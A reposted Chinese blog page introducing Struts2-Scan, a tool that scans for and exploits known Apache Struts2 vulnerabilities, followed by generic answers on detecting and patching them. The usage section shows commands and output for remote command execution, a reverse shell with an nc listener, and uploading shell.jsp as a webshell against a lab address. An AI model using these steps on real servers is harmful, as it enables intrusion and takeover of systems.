Apache Struts2全漏洞扫描利用工具

Struts2-Scan

  • Struts2漏洞利用扫描工具,基于互联网上已经公开的Structs2高危漏洞exp的扫描利用工具,目前支持的漏洞如下: S2-001, S2-003, S2-005, S2-007, S2-008, S2-009, S2-012, S2-013, S2-015, S2-016, S2-019, S2-029, S2-032, S2-033, S2-037, S2-045, S2-046, S2-048, S2-052, S2-053, S2-devMode, S2-057

  • 支持单个URL漏洞检测和批量URL检测,至此指定漏洞利用,可获取WEB路径,执行命令,反弹shell和上传文件,注意,并不是所有的漏洞均支持上述功能,只有部分功能支持

  • 如有错误或者问题欢迎大家提问交流,一起解决

运行环境

  • Python3.6.X及其以上版本

  • 第三方库: click, requests, bs4

  • 测试环境: Ubuntu 16.04

  • 漏洞环境已上传,参考地址:

https://github.com/Medicean/VulApps/tree/master/s/struts2/

https://github.com/vulhub/vulhub/tree/master/struts2

工具参数说明

Usage: Struts2Scan.py [OPTIONS]``   `  `Struts2批量扫描利用工具``   ``Options:`  `-i, --info          漏洞信息介绍`  `-v, --version       显示工具版本`  `-u, --url TEXT      URL地址`  `-n, --name TEXT     指定漏洞名称, 漏洞名称详见info`  `-f, --file TEXT     批量扫描URL文件, 一行一个URL`  `-d, --data TEXT     POST参数, 需要使用的payload使用{exp}填充, 如: name=test&passwd={exp}`  `-c, --encode TEXT   页面编码, 默认UTF-8编码`  `-p, --proxy TEXT    HTTP代理. 格式为http://ip:port`  `-t, --timeout TEXT  HTTP超时时间, 默认10s`  `-w, --workers TEXT  批量扫描进程数, 默认为10个进程`  `--header TEXT       HTTP请求头, 格式为: key1=value1&key2=value2`  `-e, --exec          进入命令执行shell`  `--webpath           获取WEB路径`  `-r, --reverse TEXT  反弹shell地址, 格式为ip:port`  `--upfile TEXT       需要上传的文件路径和名称`  `--uppath TEXT       上传的目录和名称, 如: /usr/local/tomcat/webapps/ROOT/shell.jsp`  `-q, --quiet         关闭打印不存在漏洞的输出,只保留存在漏洞的输出`  `-h, --help          Show this message and exit.

查看漏洞详情信息:

$ python3 Struts2Scan.py --info``   ` `____  _              _       ____    ____`                  `/ ___|| |_ _ __ _   _| |_ ___|___ \  / ___|  ___ __ _ _ __`  ``\___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ ```___) | |_| |  | |_| | |_\__ \/ __/   ___) | (_| (_| | | | |``|____/ \__|_|   \__,_|\__|___/_____| |____/ \___\__,_|_| |_|``   `                                      `Author By HatBoy`        `   ``[+] 支持如下Struts2漏洞:``[+] S2-001:影响版本Struts 2.0.0-2.0.8; POST请求发送数据; 默认参数为:username,password; 支持获取WEB路径,任意命令执行和反弹shell``[+] S2-003:影响版本Struts 2.0.0-2.0.11.2; GET请求发送数据; 支持任意命令执行``[+] S2-005:影响版本Struts 2.0.0-2.1.8.1; GET请求发送数据; 支持获取WEB路径,任意命令执行``[+] S2-007:影响版本Struts 2.0.0-2.2.3; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell``[+] S2-008:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持任意命令执行和反弹shell``[+] S2-009:影响版本Struts 2.0.0-2.3.1.1; GET请求发送数据,URL后面需要请求参数名; 默认为: key; 支持任意命令执行和反弹shell``[+] S2-012:影响版本Struts Showcase App 2.0.0-2.3.13; GET请求发送数据,参数直接添加到URL后面; 默认为:name; 支持任意命令执行和反弹shell``[+] S2-013/S2-014:影响版本Struts 2.0.0-2.3.14.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传``[+] S2-015:影响版本Struts 2.0.0-2.3.14.2; GET请求发送数据; 支持任意命令执行和反弹shell``[+] S2-016:影响版本Struts 2.0.0-2.3.15; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传``[+] S2-019:影响版本Struts 2.0.0-2.3.15.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传``[+] S2-029:影响版本Struts 2.0.0-2.3.24.1(除了2.3.20.3); POST请求发送数据,需要参数; 默认参数:message; 支持任意命令执行和反弹shell``[+] S2-032:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell``[+] S2-033:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持任意命令执行和反弹shell``[+] S2-037:影响版本Struts 2.3.20-2.3.28.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell``[+] S2-045:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传``[+] S2-046:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传``[+] S2-048:影响版本Struts 2.3.x with Struts 1 plugin and Struts 1 action; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell``[+] S2-053:影响版本Struts 2.0.1-2.3.33,2.5-2.5.10; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell``[+] S2-devMode:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell

单个漏洞URL检测

$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action``   ` `____  _              _       ____    ____`                  `/ ___|| |_ _ __ _   _| |_ ___|___ \  / ___|  ___ __ _ _ __`  ``\___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ ```___) | |_| |  | |_| | |_\__ \/ __/   ___) | (_| (_| | | | |``|____/ \__|_|   \__,_|\__|___/_____| |____/ \___\__,_|_| |_|``   `                                      `Author By HatBoy`        `   ``[+] 正在扫描URL:http://192.168.100.8:8080/index.action``[*] ----------------results------------------``[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-046``[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-016``[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-045``[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-015``[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-009``[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-012

批量检测

$ python3 Struts2Scan.py -f urls.txt

POST数据

$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -d name=admin&email=admin&age={exp}

指定漏洞扫描

# 命令执行``$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --exec``   ` `____  _              _       ____    ____`                  `/ ___|| |_ _ __ _   _| |_ ___|___ \  / ___|  ___ __ _ _ __`  ``\___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ ```___) | |_| |  | |_| | |_\__ \/ __/   ___) | (_| (_| | | | |``|____/ \__|_|   \__,_|\__|___/_____| |____/ \___\__,_|_| |_|``   `                                      `Author By HatBoy`        `   ``>>>ls -la``total 136``drwxr-sr-x 1 root staff  4096 May  5  2017 .``drwxrwsr-x 1 root staff  4096 May  5  2017 ..``-rw-r----- 1 root root  57092 Apr 13  2017 LICENSE``-rw-r----- 1 root root   1723 Apr 13  2017 NOTICE``-rw-r----- 1 root root   7064 Apr 13  2017 RELEASE-NOTES``-rw-r----- 1 root root  15946 Apr 13  2017 RUNNING.txt``drwxr-x--- 1 root root   4096 May  5  2017 bin``drwx--S--- 1 root root   4096 Jul 12 14:54 conf``drwxr-sr-x 3 root staff  4096 May  5  2017 include``drwxr-x--- 2 root root   4096 May  5  2017 lib``drwxr-x--- 1 root root   4096 Jul 12 14:54 logs``drwxr-sr-x 3 root staff  4096 May  5  2017 native-jni-lib``drwxr-x--- 2 root root   4096 May  5  2017 temp``drwxr-x--- 1 root root   4096 Jul 12 14:54 webapps``drwxr-x--- 1 root root   4096 Jul 12 14:54 work``>>>``   ``# 反弹shll``$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --reverse 192.168.100.8:8888``   ` `____  _              _       ____    ____`                  `/ ___|| |_ _ __ _   _| |_ ___|___ \  / ___|  ___ __ _ _ __`  ``\___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ ```___) | |_| |  | |_| | |_\__ \/ __/   ___) | (_| (_| | | | |``|____/ \__|_|   \__,_|\__|___/_____| |____/ \___\__,_|_| |_|``   `                                      `Author By HatBoy`        `   ``[*] 请在反弹地址处监听端口如: nc -lvvp 8080``   ``# 获取WEB路径``$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --webpath``   ` `____  _              _       ____    ____`                  `/ ___|| |_ _ __ _   _| |_ ___|___ \  / ___|  ___ __ _ _ __`  ``\___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ ```___) | |_| |  | |_| | |_\__ \/ __/   ___) | (_| (_| | | | |``|____/ \__|_|   \__,_|\__|___/_____| |____/ \___\__,_|_| |_|``   `                                      `Author By HatBoy`        `   ``[*] /usr/local/tomcat/webapps/ROOT/``   ``# 上传shell``$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp``   ` `____  _              _       ____    ____`                  `/ ___|| |_ _ __ _   _| |_ ___|___ \  / ___|  ___ __ _ _ __`  ``\___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ ```___) | |_| |  | |_| | |_\__ \/ __/   ___) | (_| (_| | | | |``|____/ \__|_|   \__,_|\__|___/_____| |____/ \___\__,_|_| |_|``   `                                      `Author By HatBoy`        `   ``[+] 文件上传成功!

请在测试环境食用 - 项目地址:

https://github.com/HatBoy/Struts2-Scan

感谢您抽出

.

.


在这里插入图片描述

  • 9
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: Apache Struts2漏洞检测是指通过对Apache Struts2框架进行安全测试,发现并修复其中存在的漏洞,以保障系统的安全性。Apache Struts2是一种流行的Java Web应用程序框架,但由于其复杂性和代码质量问题,可能存在安全漏洞,因此需要进行漏洞检测和修复。常见的Apache Struts2漏洞包括远程代码执行漏洞、命令注入漏洞、文件上传漏洞等,需要通过安全测试和修复来保障系统的安全性。 ### 回答2: Apache Struts2 是一个开源的Web应用程序框架。它能够快速、灵活地搭建和部署Web应用程序,因此被广泛使用。但是,2017年3月, Apache Struts2 暴露了一个严重的漏洞 CVE-2017-5638,可被黑客利用进行远程代码执行攻击。 漏洞检测是应对这种情况的重要手段,以下是一些常用的检测方法: 1. 使用漏洞扫描工具:例如 Nmap、OpenVAS 等漏洞扫描工具,可以自动扫描网站中是否存在 CVE-2017-5638 漏洞。 2. 手动检测:手动检测主要包含三个方面:检查 Struts2 版本、检查是否使用与 Struts2 关联的功能组件、检查是否有存在可利用漏洞的Web页面。 3. 可以使用相关的代码检测工具:目前有一些静态代码分析工具可以扫描应用程序源代码中的漏洞,例如:SonarQube、Checkmarx 等。 4. 安装补丁:Apache Struts2 的官方网站通常会发布最新的安全补丁,在检测出漏洞后需要及时更新应用程序。 综上,应当使用多种方法对 Apache Struts2 漏洞进行不间断的检测,以尽早发现潜在的威胁,并采用及时有效的方法进行升级处理。 ### 回答3: Apache Struts是一款基于Java的开源Web应用程序框架。它提供了一些内置组件和标签库,可以简化Web开发过程。但是,近年来,一些严重的漏洞被发现在Struts的核心代码中,因此Struts漏洞测试变得至关重要。本文将介绍Apache Struts2漏洞检测的方法。 1.了解漏洞 在进行漏洞检测之前,首先需要了解存在哪些漏洞。Apache Struts2有许多漏洞,例如S2-045,S2-052和S2-057等。您可以检查CVE数据库中的Struts2漏洞列表。每个漏洞都有与之相关的编号和描述。 2.使用漏洞扫描工具 一种简单而快速检测Struts2漏洞的方法是使用漏洞扫描工具。这些工具使用不同的技术和方法来检测漏洞,例如静态代码分析和动态扫描。常见的漏洞扫描工具包括Nessus、Qualys、Acunetix和Burp Suite等。 3.手动检测 手动检测可能需要更多的时间和技能,但它可以发现一些漏洞扫描工具无法检测到的漏洞。下面是一些手动方法: - 查找Struts2页面:访问应用程序并检查URL中是否包含“/struts”的字符串,这是Struts2默认的路径。这可以帮助您确定应用程序是否使用Struts2框架。 - 检查版本号:通过访问“/struts-version”路径或检查响应头中的“X-Struts-Version”来确定Struts2的版本号。这可以帮助您确定是否存在已知的漏洞。 - 测试输入:输入测试数据并尝试使用SQL注入、XSS或命令注入等攻击方法。您可以使用Burp Suite等工具记录和重放请求以便更深入地测试。 总之,Apache Struts2漏洞测试需要综合使用各种技术和方法,包括使用漏洞扫描工具和手动测试。您还应定期更新应用程序并修补漏洞,以保持其安全
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网络安全技术库

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值